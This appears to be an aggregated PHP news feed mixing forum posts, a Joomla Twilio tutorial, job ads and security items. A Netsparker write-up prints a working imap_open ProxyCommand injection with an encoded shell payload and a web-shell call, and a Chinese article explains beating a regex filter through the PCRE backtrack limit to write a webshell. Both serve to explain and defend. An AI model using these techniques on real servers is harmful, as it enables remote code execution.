Next Page: 10000

          PHP Server Monitor 3.3.1 Cross Site Request Forgery      Cache   Translate Page      
PHP Server Monitor version 3.3.1 suffers from a cross site request forgery vulnerability.
          Add a Click To Call Button & SMS Chat to Your Joomla Site      Cache   Translate Page      

As a Joomla community volunteer, I am always looking for opportunities to help my favorite CMS grow and add new features. Following these ideas, Twilio and Joomla are a perfect match to bring the possibilities of a first-level communication platform to small and medium-size organizations. In this blog post, I am going to create the required extensions for Joomla to incorporate a simple communication channel to a website by creating a click to call button.

I have planned a series of articles about the topic of implementing a communication solution for Joomla based on Twilio. In this first installment, I provide a ready-to-use extension for Joomla and the detailed steps to implement it (no coding skills are required). Later on, I’ll publish the rationale behind the development process.

If you are looking for a simple solution, you can just download the latest release and deploy it on your site.

For this tutorial you will need a basic website configuration:

  • Local installation of Joomla (preferably version 3.8 or superior). The full detail of CMS requirements can be found here.
  • PHP 5.5 or superior. PHP 7.2 is highly recommended.
  • MySQL 5.1 or superior. MySQL 5.5.3 + is recommended.

A ready-to-use extension for Joomla

To start using the extension, you can download the latest release from the Github repository: https://github.com/anibalsanchez/XT-Twilio-for-Joomla/releases

The package includes each of the elements ready to be used. The following steps show the steps to configure and use the solution from the point of view of a Joomla administrator (no coding skills required).

Step 1: Install the extension

Once you download the extension, you can install it in the Extension Manager (Extensions / Install).

Step 2: The Twilio Account Configuration

Before implementing the Joomla solution for Twilio, you need to configure the Account. You will need your Twilio Account API Credentials to implement the user-facing functionality:

  • LIVE Credentials
    • ACCOUNT SID
    • AUTH TOKEN
  • TEST Credentials
    • ACCOUNT SID
    • AUTH TOKEN

The credentials can be found here: https://www.twilio.com/console/project/settings

A Note About Twilio Credentials:

In the account configuration, the Twilio Phone Number and other phone numbers are going to be managed. Please, take note of the following points:

  • Each phone number, SMS message, and phone calls have an associated cost.
  • Twilio has strict controls over permissions and capabilities.
  • The Twilio Phone Number must have the SMS and/or Voice capabilities.
  • If you are going to start testing with a Trial account, it only allows one Twilio Phone Number per account.
  • Remember, Phone Numbers must have the Country Code (even if you are testing in your local area).

Step 2: Configure the account in the Ajax plugin

At this point of the project, you have the account API credentials and can configure them in the plugin that communicates the website frontend with Twilio backend. To configure the plugin from the Joomla admin menu, navigate to Extensions > Plugins >  Ajax - XT Twilio for Joomla and input the credentials from Step 1.

The plugin stores the Twilio API Credentials internally in the site database to connect the site with the REST API.

A note about phone numbers:

  • The Twilio Phone number is provided in your Account administration in E.164 format. E.164 is the international telephone numbering plan that ensures each device on the PSTN has a globally unique number. You can find more information about the format here: What is E.164?
  • The Salesman Phone Number is your own number or a verified number that Twilio service is going to call establishing connections. You can find your Account verified numbers here: Verified Caller IDs

Step 3: Configure the module to contact customers by SMS

The module functionality allows visitors to enter their phone number and a message, and with the click of the “Send SMS” button; the action sends an SMS to the backend operator to provide help or support.

To test the contact form: Fill in the fields and submit it to receive an SMS. In this way, you will validate the account configuration and complete the circle. Before testing the module in the front-end, be sure that the module is assigned and enabled in a visible position of your template. To configure the module from the Joomla admin menu, navigate to Extensions > Module > Twilio for Joomla - Contact by SMS module.

Step 4: Contact customers with a click 2 call button

The Click-2-Call module shows a form to ask for the customer phone number and a button to initiate a Click to Call operation. The action uses the Twilio Programmable Voice functionality to call the user, confirm the first leg of the communication and then calls the sales phone number to complete the conference setup.

To test the contact form: Fill in the phone field and click on the button. In this way, you will validate the account configuration and connect a user phone with a sales phone. As always, before testing the module in the front-end, remember to assign the module in a visible position of your template and enable it in the backend. To configure the module, from the Joomla admin menu, navigate to Extensions > Module > Twilio for Joomla - Click 2 Call.

Next Steps

After completing the previous configuration, Joomla is ready to send SMS messages, or support a Click2Call workflow between users and the sales area. In this article, I have presented the case of an administrator configuring a simple solution to start using the Twilio solution for SMS and Voice Cloud Messaging.

I have published the XT Twilio for Joomla in the extension directory (JED), and you can also download the code from this repository.

https://github.com/anibalsanchez/XT-Twilio-for-Joomla.

Basically, the package includes the following extensions that work together to integrate Twilio and Joomla:

  • Twilio for Joomla - Library: This extension is a wrapper of the official Twilio PHP SDK to install the SDK at the system level.
  • Twilio for Joomla - Ajax plugin: This plugin is going to allow the communication between the following modules and Twilio REST API.
  • Twilio for Joomla - Contact by SMS module: This module is going to provide a contact form to send SMS messages to a backend phone number.
  • Twilio for Joomla - Click 2 Call module: This module is going to establish a call between the customer a the backend phone number.

All of them are going to be packed and distributed in a single package for the extension.

Based on this initial version of a Twilio implementation for Joomla, a world of possibilities are open. We can continue implementing features of the Twilio SDK and explore the synergies of the different services within the ecosystem of extensions.

To the moon!

References

 

About Anibal

Anibal Sanchez is a technology geek, with a pinch of an entrepreneur. Aníbal is the team leader of Extly Tech. He helps businesses in rapid web development, implementing DevOps processes, quality assurance practices and project management methodologies. Anibal contributes to the Joomla! community as a member of the Leadership Team, JED’s Assistant Manager and Joomla! Magazine author.

 


          Re : autocomplete doesnt work in dynamic input field      Cache   Translate Page      
ok fixed thank you jake but i have last question if i want add on change event like this

  1. $("#item"+counter).change(function(){
            var nmbarang = $("#item"+counter).val();
            $.ajax({
              url: '<?php echo site_url('Produk/tampil_where'); ?>',
              type: 'POST',
              dataType: 'json',
              data: {
                'nmbarang': nmbarang
              },
              success: function (barang) {
                console.log(barang);
                $("#harga"+counter).val(barang[0]['harga_barang']);
              }
            });
          });


where the code position i must add after ? because if add after this comment it doesnt work

  1.  $("#addrow").on("click", function () {
            var newRow = $("<tr>");
            var cols = ""; 
            cols += '<td><input type="text" style="width: 200px;" id="item' + counter + '" name="item[' + counter + ']" autocomplete="off" placeholder="Item"></td>';
            cols += '<td><input type="text" style="width: 100px;" id="harga' + counter + '" name="harga[' + counter + ']" placeholder="Harga">  </td>';
            cols += '<td><input type="text" style="width: 50px;" id="qty' + counter + '" name="qty[' + counter + ']" placeholder="Qty" onkeyup="findTotal(); findJumlah()">  </td>';
            cols += '<td><input type="text" style="width: 100px;" id="diskon' + counter + '" name="diskon[' + counter + ']" placeholder="Diskon">  </td>';
            cols += '<td><input type="text" id="total' + counter + '" name="total[' + counter + ']" placeholder="Total"></td>';
            cols += '<td><input type="button" style="width: 50px;" class="ibtnDel btn btn-md btn-danger" value="-" onclick="findJumlah()"></td>';
            newRow.append(cols);
            newRow.insertBefore("tr.isi");
            $("#item"+counter).autocomplete({
                    source: function(request, response) {
                    $.ajax({
                    url: "<?php echo site_url('Produk/data'); ?>",
                    data: { id_barang: $("#item"+counter).val()},
                    dataType: "json",
                    type: "POST",
                    success: function(data){
                    console.log(data);
                    response(data);
                    }   
                });
            },
        });
    // this -------------------------------------------------------------
            counter++;
        });




          MG Philippines offers affordable introductory promos      Cache   Translate Page      
You can own a brand new MG vehicle for as low as Php 78,000. Check out a bunch of unique benefits exclusive for MG owners only.
          Mysql ingresa en la columna correcta, pero en diferentes filas      Cache   Translate Page      

Mysql ingresa en la columna correcta, pero en diferentes filas

Respuesta a Mysql ingresa en la columna correcta, pero en diferentes filas

Puede que se aporque tienes inserts enves de updates a un usuario estaré en el Chat de PHP cualquier cosa

Publicado el 04 de Diciembre del 2018 por Oscar

          Mysql ingresa en la columna correcta, pero en diferentes filas      Cache   Translate Page      

Mysql ingresa en la columna correcta, pero en diferentes filas

Sin-titulo

Tengo un problema. Tengo varios archivos php que pasan los datos a la base de datos mysql, pero al momento de ingresar los datos, los ingresa en la columna correcta, pero diferentes filas. ¿Qué puedo hacer en ese caso?

Publicado el 04 de Diciembre del 2018 por marvin

          error en variable de session      Cache   Translate Page      

error en variable de session

Cordial saludo.

no se que pasa pero cuando paso de un script a otro la variable de session no imprime

programa 1

<?php if (!isset($_SESSION)) {session_start();} $user = $_POST["user"]; $pass = $_POST["pass"]; $_SESSION['pass']=$pass; // Open Connection $con = @mysqli_connect('localhost', '-----', '-----', '------'); if (!$con) { echo "Error: " . mysqli_connect_error(); exit(); } ...

Publicado el 03 de Diciembre del 2018 por sirez

          Error al exportar a excel desde php con caracteres latinos      Cache   Translate Page      

Error al exportar a excel desde php con caracteres latinos

Respuesta a Error al exportar a excel desde php con caracteres latinos

Hola Oscar, he probado con varios tipos de cabecera ero no encuentro el error. Podrías ser mas especifico por favor

Publicado el 03 de Diciembre del 2018 por Milton

          Comprobar que un usuario a visitado ya mi web      Cache   Translate Page      

Comprobar que un usuario a visitado ya mi web

Respuesta a Comprobar que un usuario a visitado ya mi web

Hola. Deberías ampliar tu pregunta dando un poco más de detalles como qué campos tiene tu tabla de usuarios o para que necesitas hacer la comprobación de tu post.

La tabla de usuarios debería tener un campo que indique la página en la que ingresó el usuario.
Este campo será un número que represente a la página, el nombre del archivo .php, etc.

Si tu sitio tiene una página de nombre data.php en la tabla podrá codificarse como 1 o guardar el nombre del archivo...

Publicado el 03 de Diciembre del 2018 por Javier

          Error al exportar a excel desde php con caracteres latinos      Cache   Translate Page      

Error al exportar a excel desde php con caracteres latinos

Respuesta a Error al exportar a excel desde php con caracteres latinos

fíjate en estas lineas

header("Content-Type: application/vnd.ms-excel; charset=utf-8"); header('Content-Transfer-Encoding: binary');
En el charset o el Encoding muchas veces es mejor arreglar los problemas de raiz que maquillarlos en el frente

Saludos!

Publicado el 03 de Diciembre del 2018 por Oscar

          Error al exportar a excel desde php con caracteres latinos      Cache   Translate Page      

Error al exportar a excel desde php con caracteres latinos

Buen día Amig@s Tengo una dificultad y espero que alguno me pueda ayudar.
Tengo un programa que exporta datos desde php a Excel por medio de header
header('Pragma: public'); header('Expires: 0'); header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); header('Content-Description: File Transfer'); header("Content-Disposition: attachment; filename=".$filename.""); header("Content-Type: application/vnd.ms-excel; ch...

Publicado el 03 de Diciembre del 2018 por Milton

          Comprobar que un usuario a visitado ya mi web      Cache   Translate Page      

Comprobar que un usuario a visitado ya mi web

Respuesta a Comprobar que un usuario a visitado ya mi web

Buenas podría ser por medio de una bandera por ejemplo haces un UPDATE a un campo especifico de la base de datos

UPDATE Usuarios
Set sesion = 2
Where user = $usuario <<< Lo cambias por la variable Global user que te la vienes trayendo desde el Login

dependiendo a que pagina entre tendrá una sesion diferente si por ejemplo el usuario 345678 tiene la sesion = 2
Significa que a entrado al área de información de la empresa = info.php por...

Publicado el 03 de Diciembre del 2018 por Oscar

          POO clases, objetos , metodos      Cache   Translate Page      

POO clases, objetos , metodos

Respuesta a POO clases, objetos , metodos

Se supone que por el simple hecho de ser PHP ya esta orientada a objetos en si puedes ir practicando y nos dices lo que vayas ocupando para irte apoyando estudiate en youtube codigofacilito POO PHP

Publicado el 03 de Diciembre del 2018 por Oscar

          Error con funcion UPDATE con INPUTS de origen ECHO      Cache   Translate Page      

Error con funcion UPDATE con INPUTS de origen ECHO

Respuesta a Error con funcion UPDATE con INPUTS de origen ECHO

En una de mis aplicaciones también hago una validación por Estatus te adjunto el código del Html
Srry no tuve tiempo para irlo desmenuzando todo esta incrustado en una tabla
<?php include 'conexion.php'; $sql10 = "SELECT Estatus FROM Usuarios WHERE user ='" . $_SESSION['user'] . "'"; $result = mysqli_query($conexion,$sql10); $row10 = mysqli_fetch_array($result,MYSQLI_ASSOC); $Estatus = $row10['Estatus'];...

Publicado el 03 de Diciembre del 2018 por Oscar

          version PHP      Cache   Translate Page      

version PHP

Respuesta a version PHP

Cuento con PHP 7 y uso este tipo de conexion:

$conexion = mysqli_connect ($servidor,$usuario,$password,$basededatos) or die ("No se ha podido conectar con el servidor de Base de datos");

Saludos!

Publicado el 03 de Diciembre del 2018 por Oscar

          Qué necesito para cambiar un código fuente y poder subirlo nuevamente?      Cache   Translate Page      

Qué necesito para cambiar un código fuente y poder subirlo nuevamente?

Respuesta a Qué necesito para cambiar un código fuente y poder subirlo nuevamente?

Puedes descargar el sublimetext 3 << Al menos es el que yo uso a puro código directo antiguamente cuando era algo nuevo usaba Dreamweaver en si necesitas estudiar PHP cursos como los de platzi o independiente por youtube y practicar mucho o ya de ultima me puedes contratar y hago los cambios que ocupes solo te doy opciones haha sale suerte man

Publicado el 03 de Diciembre del 2018 por Oscar

          CSR - Financial (BAGUIO) - Alveare - Baguio      Cache   Translate Page      
*QUALIFICATIONS: * * At least high school graduate * At least 18 years of age and above * With above average English Communication skills * With web... PHP 15,000 - PHP 25,000 a month
From Indeed - Tue, 04 Dec 2018 05:29:06 GMT - View all Baguio jobs
          Still more than 750 Agents are Needed for the CSR Role! Apply and Join us!! - Neksjob Corporation - Baguio      Cache   Translate Page      
Expect a call within an Hour(office hours) for an Interview Thank you. \*Atleast a high School Graduate.... PHP 15,000 - PHP 17,000 a month
From Indeed - Fri, 23 Nov 2018 06:00:26 GMT - View all Baguio jobs
          Call Center Agent - Bee MNL - Baguio      Cache   Translate Page      
At least high school graduate With above average to english communication skills A filipino citizen Willing to work fulltime With good web navigation Job... PHP 15,000 - PHP 20,000 a month
From Indeed - Tue, 20 Nov 2018 07:19:54 GMT - View all Baguio jobs
          Call Center Agent - BEE MNL BUSINESS SOLUTIONS CORP - Baguio      Cache   Translate Page      
At least 18 years of age and above At least high School graduate With above average to English communicatiin skills A filipino citizen Job Type: Full... PHP 15,000 - PHP 20,000 a month
From Indeed - Tue, 20 Nov 2018 06:53:07 GMT - View all Baguio jobs
          Customer Service Representative (CSR) - Easter Circle Human Resource Services - Baguio      Cache   Translate Page      
High school Graduates, College Undergraduates, Degree holders with or without call center experiences are ACCEPTED.... PHP 17,000 - PHP 40,000 a month
From Indeed - Tue, 20 Nov 2018 01:24:44 GMT - View all Baguio jobs
          Early Christmas gift ? Be process your application now!! - Neksjob Corporation - Baguio      Cache   Translate Page      
Expect a call within an Hour(office hours) for an Interview Thank you. \*Atleast a high School Graduate.... PHP 16,000 a month
From Indeed - Tue, 20 Nov 2018 01:04:47 GMT - View all Baguio jobs
          Customer Service Representative (CSR) - Eastern Circle Human Resource Services - Baguio      Cache   Translate Page      
High school Graduates, College Undergraduates, Degree holders with or without call center experiences are ACCEPTED.... PHP 17,000 - PHP 40,000 a month
From Indeed - Tue, 20 Nov 2018 00:54:37 GMT - View all Baguio jobs
          Customer Service Representative (CSR) - ECHRS MANPOWER SERVICES - Baguio      Cache   Translate Page      
High school Graduates, College Undergraduates, Degree holders with or without call center experiences are ACCEPTED.... PHP 17,000 - PHP 40,000 a month
From Indeed - Mon, 19 Nov 2018 08:40:33 GMT - View all Baguio jobs
          Call Center Representative - BEE MNL BUSINESS SOLUTIONS CORP - Baguio      Cache   Translate Page      
At least high school graduate At least 18 years of age and above A filipino citizen With above average to english communication skills Job Type: Full... PHP 16,000 - PHP 20,000 a month
From Indeed - Sat, 17 Nov 2018 07:21:46 GMT - View all Baguio jobs
          Call Center Representative - For Baguio - qebc - Baguio      Cache   Translate Page      
Job Description Exciting Things to Offer: * Competitive Salary Package * Paid training * Exciting Performance Bonuses & Incentives * Comprehensive Healthcare... PHP 13,000 - PHP 15,000 a month
From Indeed - Wed, 14 Nov 2018 06:31:51 GMT - View all Baguio jobs
          Bypass of Disabled System Functions      Cache   Translate Page      

Imagine that you discover an Unrestricted File Upload vulnerability and upload a web shell to the server. Or, you have a payload that allows you to execute commands on the system through Local File Inclusion (LFI) or Remote File Inclusion (RFI) vulnerabilities.

Bypass of Disabled System Functions

When you execute the command that’s expected to call system functions on the server side, you’re greeted by a surprise warning which states that you’re not allowed to execute the function because it’s disabled.

www.example.com/shell.php?cmd=whoami

Warning: system() has been disabled for security reasons in /var/www/html/shell.php on line 6

The disable_functions directive in the php.ini configuration file allows you to disable certain PHP functions. One of the suggested hardening practices is to disable functions such as system, exec, shell_exec, passthru, by using the disable_functions directive to prevent an attacker from executing system commands. However, a user named Twoster in the Russian Antichat forum announced a new bypass method to this security mechanism. In this blog post, we discuss the technical details of the bypass.

The Exploit Code of the Bypass

Last week, Anton Lopanitsyn shared the exploit code on Github after the announcement on the Antichat forum. In the exploit code, it’s clear that the bypass relies on the imap_open() function, which is activated after the installation of the imap extension on PHP.

<?php
# CRLF (c)
# echo '1234567890'>/tmp/test0001

$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";

imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

The imap_open() function doesn’t readily exist in the PHP core. It’s a wrapper for imapd, designed by the researchers at the University of Washington. As stated above, PHP will have the imap_open() function defined only after you've installed the IMAP PHP extension. Let’s analyze each component in the exploit code.

The Parameters of imap_open Function

We’re going to take a closer look at the mailbox parameter the function takes, to understand how the imap_open function works in the exploit. Here is the syntax of the function:

resource imap_open ( string $mailbox , string $username , string $password [, int $options = 0 [, int $n_retries = 0 [, array $params = NULL ]]] )

The value for the mailbox parameter consists of the server name and the mailbox file path on the server. The name INBOX stands for the current user’s personal mailbox. This is how you set the mailbox parameter:

$mbox = imap_open ("{localhost:993/PROTOCOL/FLAG}INBOX", "user_id", "password");

Between the brackets, you can see the server name or IP address, the port number (after the colon) and the protocol name. After the protocol name, the user can choose to set a flag as the third parameter.

The warning in the official documentation of PHP about setting up the imap_open parameters is crucial.

This warning states that unless enable_insecure_rsh is disabled, the user data should not be directly transmitted to the mailbox parameter.

This warning states that unless enable_insecure_rsh is disabled, the user data should not be directly transmitted to the mailbox parameter. Let's take a look at  how the IMAP extension works to understand what the enable_insecure_rsh configuration option does, and why the warning prompts users to disable it.

The IMAP Server Types and SSH Connection

There are two Unix-based IMAP servers that are widely used. One is imapd, developed by the University of Washington, and the other is the IMAP server developed by Cyrus.

Cyrus stores the user emails in a built-in database. So, accessing Cyrus is only possible through the IMAP protocol. This is why when Cyrus is in use, there are no connections between user accounts on the Unix system on which the IMAP is installed and the IMAP accounts.

On the other hand, imapd stores the emails in files owned by the mail users on the Unix system, such as /var/spool/mail. User accounts and access privileges on imapd are directly related to the Unix server. If your mails are stored in a spool file to which you have authorization, you can login through SSH and verify your privileges on the files.

There’s no need for the entire procedure to establish an IMAP connection when there’s SSH. The imap_open function initially establishes an SSH connection and, if authorized, proceeds without an IMAP connection. This is called the IMAP preauthenticated mode. The warning given for passing the value in the mailbox parameter is based on this. The mailbox value will be passed on to the SSH command as a parameter while setting up an SSH connection.

Before the secure SSH protocol was widely used, there was a protocol called rsh. However, it's quite insecure by default, doesn't use encryption and shouldn't be used for connections outside (and even inside) the local network. The imap.enable_insecure_rsh configuration option deactivates both rsh and ssh for preauthentication.

The -oProxyCommand in the Exploit

One of the many parameters the SSH command uses is the -o parameter, which allows you to set the options available for use during the connection. ProxyCommand is one of the options that can be set right before commencing the SSH connection. For example:

ssh -oProxyCommand="touch tmp.txt" localhost

When you execute this command, you’ll realize that the tmp.txt file will be created even if an SSH connection is not made to localhost.

The -oProxyCommand in the Exploit

Due to all the components in the exploit code, a system which has functions such as system and passthru disabled will still be vulnerable to executing commands in RFI or LFI vulnerabilities.

Additional Measures Against the Bypass

There are two ways to protect yourself against the dangers of the imap PHP extension. The first is by checking for any special characters (such as forward slashes) whenever you pass user input to imap_open, which would prevent a Remote Code Execution vulnerability. We stated above that you can use certain flags within the mailbox parameter. The /norsh flag is one of these and you should set it in order to disable the IMAP preauthenticated mode.

In addition, an effective defence against the disable_functions bypass is to disable the imap.enable_insecure_rsh option by giving a '0' value in the php.ini file. However, in PHP version 5, this option isn’t available, so you should think twice whether you need the imap extension and whether you should add imap_open to your list of disabled functions.

Authors, Netsparker Security Researchers:

Ziyahan Albeniz
Sven Morgenroth
Umran Yildirimkaya


          Dark Mood V2 WordPress theme, editing wordpress files, encoding PHP      Cache   Translate Page      
It may come as no surprise to some to find that freely available themes have got advertising embedded in them by default. It came as a surprise to me, mind you! I downloaded and installed the Dark Mood V2 wordpress theme by Ed Canape and found that in the footer file there was a PHP […]
          Ваша реклама #18.0      Cache   Translate Page      

http://lovebirds.rolka.su/viewtopic.php … =7#p215874https://i.imgur.com/imDeao4.jpgАЛЬТЕРНАТИВНОЕ БУДУЩЕЕ | АНТИУТОПИЯ | ДУША НА ДВОИХ |  А СОВЕСТИ НЕТ


          phpMyAdmin index.php Local File Inclusion (CVE-2018-12613)      Cache   Translate Page      
A local file inclusion vulnerability exists in phpMyAdmin. The vulnerability is due to improper sanitization of the request URI.A remote, authenticated attacker could exploit this vulnerability by sending a crafted request to the target server.Successful exploitation could lead to information disclosure.
          PHP Developer       Cache   Translate Page      
Functie Door de groei van een klant zijn we op zoek naar een PHP developer die zowel in teamverband als individueel kan werken. Je zult verschillende ontwikkelingen van interne applicatie naar een hoger niveau gaan brengen terwijl je ook uitgedaagd wordt om verschillende processen in een ERP te optimaliseren...
          PHP Developer - Bkom - Québec City, QC      Cache   Translate Page      
Does Hasbro, Disney, Lego and Wizards of the Coast ring a bell? Located in the beautiful city of Quebec (Canada), BKOM Studios is a full-service digital studio...
From Bkom - Sat, 01 Sep 2018 06:11:43 GMT - View all Québec City, QC jobs
          Développeur PHP - Bkom - Québec City, QC      Cache   Translate Page      
Est-ce que Hasbro, Disney, Lego et Wizards of the Coast te disent quelque chose ? Situé dans la magnifique ville de Québec (Canada), BKOM Studios offre un...
From Bkom - Sat, 01 Sep 2018 06:11:29 GMT - View all Québec City, QC jobs
          i need help editing website      Cache   Translate Page      
please be knowledgable in photoshop and magento and php (Budget: $5 USD, Jobs: Graphic Design, HTML, Photoshop, PHP, Website Design)
          Debugging and modifying some of my built websites      Cache   Translate Page      
Websites that are already built want some modifications. I am looking for a PHP engineer. (Budget: $10 - $30 USD, Jobs: Graphic Design, HTML, MySQL, PHP, Website Design)
          Audio Video Presentation For Level Iii-Phase Ii Aaccup Accreditation ( 6 Programs)      Cache   Translate Page      
Audio Video Presentation For Level Iii-Phase Ii Aaccup Accreditation ( 6 Programs)
PR # 18-11-1814
Implementing Rules and Regulations
Negotiated Procurement - Small Value Procurement (Sec. 53.9)

Description
SURIGAO STATE COLLEGE OF TECHNOLOGY
Surigao City

Reference No. PR # 18-11-1814

PRICE QUOTATION FORM
(BID FORM)

Sealed Bids shall be dropped in the BIDDERS BOX on or before 2:00 P.M. December 06, 2018 placed at the office of the Chairman of the College BAC. Thereafter, the Bidder's Box shall be sealed until the Chairman of the College BAC declares opening of the Bids.

ITEMQTY.UNITName of Supplies/Specification ABC/ITEM BID PRICETOTAL
NO.(ITEM)PER ITEM
Audio Video Presentation for Level III-Phase II AACCUP Accreditation ( 6 Programs)
11Package of Audio Video Presentation of Level III Phase 2 of the 6 programs 550,000.00
Inclusion:
* Gathering of Video footage of the Instruction, Research, Extension and Library per program.
* Gathering and establishing shots on the four (4) campuses (Aerial shots)
* Non-linear Video Editing including all necessary 2D and 3D graphics
* Scanning pictures and any other necessary 2D and 3D graphics
* Picture taking of the administrators, faculty, staff, students and other personnel
* Graphic layouting
* School events and activities video clipping
* Interview video footage for the different focal persons, stakeholders, employers and employee feedback of the graduates, alumni, extension benefeciaries, government sectors
* Video footage on the different plants, facilities, laboratories, classrooms and the like
* Sound Production / Musical Scoring
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Deadline of Submission: December 06, 2018 (late bids shall not be accepted)

Important Note:
1. Total ABC = Php 550,000.00
2. Basis of Award is on a "Per Item Basis". Quotation shall not exceed the stated ABC of the item.
3. Quotation with erasure & not sealed in an envelope shall not be accepted.
4. Bidder must indicate the Brand of the item/s quoted.
5. Interested Bidder/s must be PhilGEPS Registered.

Delivery Period: Within Sixty (60) working days from receipt of approved Purchase Order.

The Surigao State College of Technology reserves the right to accept or reject any bid, to annul the bidding process, and to reject all bids at any time prior to contract award, without thereby incurring any liability to the affected bidder or bidders.

ROWENA A. PLANDO, Ph.D.
BAC Chairperson

Name of Establishment:____________________________

Signature Over Printer Name of Authorized Representative: _______________________



          DEV OPS ENGINEER LEVEL 2      Cache   Translate Page      
My client, a leading supplier of clinical software for GP practice management systems with offices based in Bodmin are looking for a DevOps Engineer Level 2. Main Purpose of Job Primary task will be working with the other members of the DevOps infrastructure and application team to develop the CLOUD hosted solution alongside Engineering, Software and support teams to specific contract SLA and assurance requirements. This will also include secondary platform development and integration for threat protection and vulnerability scanning tools throughout the infrastructure and the management application stack of Prometheus, Graphana and Elasticsearch with our existing in-house product and technology teams. Knowledge & Skills Linux (RedHat(RHEL), Ubuntu, CentOS, SUSE) configuration and networking experience - Commercial 1-3 years’ experience Experience working using the LAMP (Linux, Apache, MySQL, PHP) stack Excellent knowledge of programming languages (preferably PHP and/or C/C++) and database systems (MySQL and/or PostgresQL) Excellent knowledge of HTML and CSS C Python Prometheus Scripting Language PromQL Elasticsearch scripting language Painless/QueryDSL GO YAML Java Ruby JSON Perl ZFS filesystem Previous experience of enterprise datacentre monitoring and alerting Solid ability to troubleshoot a variety of performance issues and other problems, from slow disk response to running out of file descriptors. Strong understanding of init scripts, creating new filesystems, /proc and other sysadmin essentials. Experience with monitoring. Prometheus, Graphana and Elasticsearch experience is a huge plus, but experience with other major cloud monitoring systems will suffice. Must understand creating monitors, setting thresholds and sending notifications. Experience with any metrics application, such as RRDTool, Cacti or MRTG. Able to troubleshoot network problems from the system perspective, such as identifying dropped packets or high latency that traces back to a particular network device. Ability to capture and analyze network traffic across a particular interface is a big plus. Familiarity with SNMP. Understanding of how to use snmpget and snmpwalk and work with the output. Ability to work closely with development and support groups to define new monitoring needs Experience using Git revision management system Company benefits include: • 28 Days annual leave (inc. Bank Holidays) increasing to 33, pro-rata. • Pension scheme, • Health Care Plans, • Salary sacrifice bicycle schemes plus many more. For further information about this role please contact Daniel Nile on or email
          Opening for php developer      Cache   Translate Page      
Location Indore/Mumbai background minimum 3 yrs to 10yrs Salary Negotiable Position details We are looking for a PHP Developer responsible for managing back-end services and the interchange of data between the server and the users. Your primary focus will be the development of all server-side logic, definition and maintenance of the central database, and ensuring high performance and...
          Developer - php applications -      Cache   Translate Page      
. DEVELOPER - PHP APPLICATIONS Education BE/B.Tech in Computer Science. Background three - 5 yrs of Background in building Web-based PHP Applications. Key Words PHP, "PHP Developer", "PHP Programming", "Web Technologies", HTML, CSS, Javascript, AJAX, SQL, MySQL, "Design Principles", "Scalable Application", Code, Coding, "Software engineering", "Product Software", "Development Life-cycle",...
          Php developer      Cache   Translate Page      
Desired Background Git, HTML5, PHP, JavaScript, Angular Job description We are looking for a motivated PHP Developer to come join our fast-paced, fun and rewarding agile agile team of professionals.Responsibilities and Duties Develop, record and maintain cutting edge web-based PHP applications on portal plus premium service platforms Build innovative, state-of-the-art applications and collaborate...
          Ui developer      Cache   Translate Page      
I. Proficient in python development (Other scripting language like perl, ruby etc. is added advantage) Development knowledge of common programming languages like java, asp.net, php etc. is added advantage. iii. Excellent oral and written correspondence abilities iv. CEH, ISO 27001 LA or any equivalent security certifications would be a plus v. Awareness on tools like Acunetix, App Scan, Burp...
          System administrator      Cache   Translate Page      
Server Management System Administration Project Management Technical support Cloud Computing and Management (AWS) Linux and Open source Apache Web Server Administration PHP installation and Configuration Network management (Firewall) Desktop support VOIP / EPABX File Server Management IT Infrastructure asset management JOB Roles and Responsibility Fresher, undergraduate graduate, ccna, windows,...
          PHP Developer (Larval) - HR World International - Lahore      Cache   Translate Page      
Proficient in: • Project Planning and Designing • Web Application Development • Database Development/Administration • System Administration • Problem Solving ... Rs 40,000 - Rs 70,000 a month
From Indeed - Fri, 23 Nov 2018 19:22:37 GMT - View all Lahore jobs
          PHP利用PCRE回溯次数限制绕过某些安全限制      Cache   Translate Page      
*本文原创作者:phith0n,本文属FreeBuf原创奖励计划,未经许可禁止转载 这次 Code-Breaking Puzzles 中我出了一道看似很简单的题目pcrewaf,将其代码简化如下: <?php function is_php($data){ return preg_match('/<\?.*[(`;?>].*/is', $data); } if(!is_php($input)) { // fwrite($f, $input); ... } 大意是判断一下用户输入的内容有没有 PHP 代码,如果没有,则写入文件。这种时候,如何绕过 is_php() 函数来写入 webshell 呢? 这道题看似简单,深究其原理,还是值得写一篇文章的。 0×01 正则表达式是什么 正则表达式是一个可以被「有限状态自动机」接受的语言类。 「有限状态自动机」,其拥有有限数量的状态,每个状态可以迁移到零个或多个状态,输入字串决定执行哪个状态的迁移。 而常见的正则引擎,又被细分为 DFA(确定性有限状态自动机)与 NFA(非确定性有限状态自动机)。他们匹配输入的过程分别是: DFA: 从起始状态开始,一个字符一个字符地读取输入串,并根据正则来一步步确定至下一个转移状态,直到匹配不上或走完整个输入 NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态 由于 NFA 的执行过程存在回溯,所以其性能会劣于 DFA,但它支持更多功能。大多数程序语言都使用了 NFA 作为正则引擎,其中也包括 PHP 使用的 PCRE 库。 0×02 回溯的过程是怎样的 所以,我们题目中的正则 <\?.*[(`;?>].*,假设匹配的输入是 <?php phpinfo();//aaaaa,实际执行流程是这样的: 见上图,可见第 4 步的时候,因为第一个 .* 可以匹配任何字符,所以最终匹配到了输入串的结尾,也就是 //aaaaa。但此时显然是不对的,因为正则显示.*后面还应该有一个字符 [(`;?>]。 所以 NFA 就开始回溯,先吐出一个 a,输入变成第 5 步显示的 //aaaa,但仍然匹配不上正则,继续吐出 a,变成 //aaa,仍然匹配不上…… 最终直到吐出;,输入变成第 12 步显示的 <?php phpinfo(),此时 ,.* 匹配的是 php phpinfo(),而后面的 ; 则匹配上  [(`;?>] ,这个结果满足正则表达式的要求,于是不再回溯。13 步开始向后匹配;,14 步匹配.*,第二个.*匹配到了字符串末尾,最后结束匹配。 在调试正则表达式的时候,我们可以查看当前回溯的次数: 这里回溯了 8 次。 0×03 PHP 的 pcre.backtrack_limit 限制利用 PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限: 这里有个有趣的事情,就是 […]
